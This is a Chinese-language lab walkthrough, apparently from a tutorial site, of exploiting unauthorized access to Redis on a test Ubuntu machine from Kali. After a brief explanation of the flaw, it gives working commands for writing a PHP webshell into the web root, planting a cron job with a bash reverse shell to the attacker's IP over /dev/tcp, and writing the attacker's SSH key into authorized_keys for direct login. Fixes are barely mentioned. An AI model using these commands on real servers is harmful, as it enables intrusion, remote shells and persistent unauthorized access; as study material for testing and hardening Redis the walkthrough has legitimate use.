目錄
- 漏洞原理
- 利用條件
- 漏洞危害
- 漏洞復(fù)現(xiàn)
- 搭建測試環(huán)境
- 攻擊機(jī)Kali 2021.1
- 利用redis寫入webshell
- 利用redis反彈shell
- 利用redis寫入ssh公鑰
- 總結(jié)
漏洞原理
Redis 默認(rèn)情況下,會綁定在 0.0.0.0:6379,如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有設(shè)置密碼認(rèn)證(一般為空)的情況下,會導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進(jìn)行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh
文件夾的authotrized_keys
文件中,進(jìn)而可以使用對應(yīng)私鑰直接使用ssh服務(wù)登錄目標(biāo)服務(wù)器。
利用條件
- redis綁定在 0.0.0.0:6379,且沒有進(jìn)行添加防火墻規(guī)則避免其他非信任來源 ip 訪問等相關(guān)安全策略,直接暴露在公網(wǎng)
- 沒有設(shè)置密碼認(rèn)證(一般為空),可以免密碼遠(yuǎn)程登錄redis服務(wù)
漏洞危害
- 攻擊者無需認(rèn)證訪問到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù)
- 攻擊者可通過
eval
執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件
- 最嚴(yán)重的情況,如果Redis以root身份運(yùn)行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器
漏洞復(fù)現(xiàn)
搭建測試環(huán)境
受害機(jī)Ubuntu 20.04
- 安裝php:
sudo apt install php7.4-cli libapache2-mod-php
- 安裝apache2:
sudo apt install apache2
。并啟動(dòng)apache服務(wù):sudo service apache2 start
。
- 安裝redis,環(huán)境需要4.x/5.x以下的redis版本,這里下載3.2版本的,并解壓、編譯:
$ wget http://download.redis.io/releases/redis-3.2.11.tar.gz
$ tar -zxvf redis-3.2.11.tar.gz
$ cd redis-3.2.11
$ make
如果make
時(shí)遇到以下報(bào)錯(cuò),需要安裝gcc,并設(shè)置啟動(dòng)參數(shù):
錯(cuò)誤信息如下:
/bin/sh: cc: command not found
解決辦法,安裝gcc:
sudo apt install gcc
然后設(shè)置make啟動(dòng)參數(shù)后即可運(yùn)行:
make MALLOC=libc
4.編譯完成后,進(jìn)入src目錄下,復(fù)制redis-cli
和redis-server
到/usr/bin/
目錄下:
$ cd src
$ sudo cp redis-cli redis-server /usr/bin/
5.回到redis-3.2.11
目錄中,復(fù)制redis.conf
文件到/etc/
目錄下:
$ cd ..
$ sudo cp redis.conf /etc/
使用sudo vim /etc/redis.conf
編輯配置文件,將61行的IP注釋起來,表示外網(wǎng)可訪問,如下:
![](/d/20211018/7c51134d500dc27e97c61d27e59d87b5.gif)
然后將80行的yes
改為no
,表示關(guān)閉保護(hù)模式,如下:
![](/d/20211018/10ea1b2a2e476c5510a0da936dc40908.gif)
然后保存退出。
使用redis-server /etc/redis.conf
啟動(dòng)redis服務(wù):
![](/d/20211018/10ea1b2a2e476c5510a0da936dc40908.gif)
打開一個(gè)新的終端,在窗口使用redis-cli
命令,測試能否正常連接redis:
![](/d/20211018/7d6e50f0cdcbb77d9e57ef1ec462d372.gif)
使用quit
退出redis命令行,然后在Ubuntu終端中開啟ssh服務(wù),確保后面能使用ssh進(jìn)行連接:
攻擊機(jī)Kali 2021.1
只要能連上redis即可,需要有redis-cli
命令,如果沒有redis,需要進(jìn)行安裝:
bash $ sudo apt install redis-tools
利用redis寫入webshell
利用條件
- 服務(wù)器開著web服務(wù)
- redis有web目錄寫權(quán)限,可以往web路徑寫入文件
利用過程
測試使用Kali連接Ubuntu的redis服務(wù):
$ redis-cli -h 192.168.101.6
![](/d/20211018/0cdc0cb9020ec15be5166d667b7531ac.gif)
如果成功連接上受害機(jī),說明受害機(jī)存在redis未授權(quán)訪問漏洞。
redis可以寫入文件。使用config get dir
命令可以查看寫入文件的目錄,并且可以用來修改寫入文件的目錄。如下:
![](/d/20211018/df8859649fc818bfce7052951362a835.gif)
因?yàn)閣eb服務(wù)無法訪問到/home
目錄下的內(nèi)容,所以需要修改redis保存文件的路徑,將其修改到網(wǎng)站的根目錄下,也就是 默認(rèn)的 /var/www/html
目錄。因此redis需要具有對/var/www/html
寫入的權(quán)限,使用config set dir /var/www/html
來修改dir的值:
![](/d/20211018/2d20d46510643cc8ec3c0f72f0b30fb8.gif)
然后使用redis寫入文件:
$ config set dbfilename shell.php
$ set xxx "?php phpinfo(); ?>"
$ save
然而并不能寫入文件,結(jié)果如下:
![](/d/20211018/df7a6c1f757c08903acd83e5a8a23477.gif)
具體原因是因?yàn)閞edis對web根目錄沒有寫入權(quán)限,這是一個(gè)比較重要的點(diǎn),也是能否利用未授權(quán)訪問來getshell的因素之一。為了測試,此時(shí)需要手動(dòng)在受害機(jī)網(wǎng)站根目錄中,新建一個(gè)其他用戶具有可寫入權(quán)限的文件夾,然后再將redis保存文件的dir值修改為新建文件夾的路徑:
![](/d/20211018/f76ad26c52cc6f572c1544101701f950.gif)
![](/d/20211018/9fa09093a15dde73281396147200179a.gif)
此時(shí)再次進(jìn)行寫入,可以看到已經(jīng)保存成功了:
![](/d/20211018/f339f979a512d9dbbbf199fa0166f849.gif)
成功寫入文件后可以在受害機(jī)中進(jìn)行查看:
![](/d/20211018/a07f8544a0fc790c5939ab569c10a59b.gif)
現(xiàn)在在瀏覽器中訪問這個(gè)頁面試試:
![](/d/20211018/c86be595e63fedb4f7e6e60dc2d2ffbe.gif)
從上面的訪問結(jié)果可以看出我們寫入的php代碼已經(jīng)成功執(zhí)行并返回。再次寫入文件,將一句話木馬寫入到目錄中:
![](/d/20211018/ef06d262d874c5940eea71ac3df9f196.gif)
訪問webshell頁面:
![](/d/20211018/77da3b4173f986e519b4a9d16b741a9b.gif)
使用蟻劍連接webshell:
![](/d/20211018/e48716c5bc168cbf33b3e84941f1aad7.gif)
利用redis反彈shell
原理:在攻擊機(jī)上開啟nc反彈端口監(jiān)聽,通過redis未授權(quán)訪問漏洞,寫入Linux定時(shí)計(jì)劃,反彈shell。
利用條件對/var/spool/cron
文件夾有寫入權(quán)限
利用過程首先在攻擊機(jī)監(jiān)聽一個(gè)端口:
![](/d/20211018/353346503229c7190e383f2b529dbf04.gif)
在攻擊機(jī)開啟新的命令行窗口,連接受害機(jī)的redis服務(wù),然后執(zhí)行下面的命令:
$ set x "\n\n\n* * * * * bash -i > /dev/tcp/192.168.101.8/6666 0>1\n\n\n"
$ config set dir /var/spool/cron/
$ config set dbfilename root
$ save
![](/d/20211018/dca118c95256c2a5bbe70eea6321e41b.gif)
注意此處的計(jì)劃任務(wù)命令,如果在Ubuntu中,是無法反彈shell的,原因是因?yàn)閡buntu會將redis寫入的緩存亂碼當(dāng)作命令來解釋,導(dǎo)致執(zhí)行不成功。而centos不會對亂碼進(jìn)行解釋,可以成功執(zhí)行反彈shell的命令。
可以在受害機(jī)查看文件是否保存成功:
![](/d/20211018/0fc8ac38a64a331052590170b32c0572.gif)
但是在ubuntu下無法反彈shell,這是由于redis向任務(wù)計(jì)劃文件里寫內(nèi)容出現(xiàn)亂碼而導(dǎo)致的語法錯(cuò)誤,而亂碼是避免不了的,centos會忽略亂碼去執(zhí)行格式正確的任務(wù)計(jì)劃,而ubuntu并不會忽略這些亂碼,所以導(dǎo)致命令執(zhí)行失敗,因?yàn)樽约喝绻皇褂胷edis寫任務(wù)計(jì)劃文件,而是正常向/etc/cron.d
目錄下寫任務(wù)計(jì)劃文件的話,命令是可以正常執(zhí)行的,所以還是亂碼的原因?qū)е旅畈荒苷?zhí)行,而這個(gè)問題是不能解決的,因?yàn)槔胷edis未授權(quán)訪問寫的任務(wù)計(jì)劃文件里都有亂碼,這些代碼來自redis的緩存數(shù)據(jù)。
利用redis寫入ssh公鑰
利用條件受害機(jī)必須有~/.ssh
文件夾,無論是普通用戶還是root用戶,否則無法在redis中設(shè)置dir的值
直接使用~/.ssh
是不行的,需要絕對路徑。
![](/d/20211018/1bf577c392b5f211c3233670bdd48e9c.gif)
另一個(gè)條件就是需要知道家目錄的名稱,比如上面的/home/unravel/.ssh
,必須知道unravel
利用過程首先在攻擊機(jī)生成ssh公鑰,用于連接受害機(jī)時(shí)來使用私鑰驗(yàn)證登陸:
![](/d/20211018/3427bdb95747a0353055539858c793e2.gif)
將公鑰開頭和結(jié)尾添加兩行換行,并存儲為新的文本文件,用于redis在連接時(shí)寫入的內(nèi)容。添加兩個(gè)換行的原因是對redis緩存垃圾數(shù)據(jù)和公鑰的內(nèi)容分隔開來,以免ssh連接失敗??梢允褂胋ash命令來完成這個(gè)操作:
(echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > key.txt
![](/d/20211018/769c20ba751b24d6993d8282df9dae73.gif)
使用攻擊機(jī)連接受害機(jī)時(shí)寫入變量x
,x
存儲攻擊機(jī)的公鑰:
cat key.txt | redis-cli -h 192.168.101.6 -x set x
![](/d/20211018/354b9dc9f2b4b614f32ffe3beb67efde.gif)
使用攻擊機(jī)連接受害機(jī)redis,將寫入的文件路徑設(shè)置為/home/unravel/.ssh
,并設(shè)置保存的文件名稱為authorized_keys
:
注意authorized_keys
名稱是固定的,不能隨便改,否則連接不上ssh
bash $ config set dir /home/unravel/.ssh $ config set dbfilename authorized_keys $ save
![](/d/20211018/2d8f7defed520f37d3c5e90d54df3686.gif)
然后在受害機(jī)文件中查看一下:
![](/d/20211018/2b364cb10f29fbf7698acd1501c1e4b2.gif)
在攻擊機(jī)嘗試使用本地私鑰對受害機(jī)進(jìn)行連接:
$ ssh unravel@192.168.101.6 -i ~/.ssh/id_rsa
![](/d/20211018/48402c26ab670f36ff5a1e5e535663bc.gif)
總結(jié)
Redis在實(shí)戰(zhàn)中算是比較常用的端口利用了。除了反彈shell的方法在測試的時(shí)候沒有實(shí)現(xiàn)getshell以外,還有一種主從復(fù)制的方式,后面有空補(bǔ)上。
參考鏈接:https://paper.seebug.org/975/
到此這篇關(guān)于Redis未授權(quán)訪問的文章就介紹到這了,更多相關(guān)Redis未授權(quán)訪問內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
您可能感興趣的文章:- Redis未授權(quán)訪問配合SSH key文件利用詳解
- 關(guān)于Redis未授權(quán)訪問漏洞利用的介紹與修復(fù)建議
- python腳本實(shí)現(xiàn)Redis未授權(quán)批量提權(quán)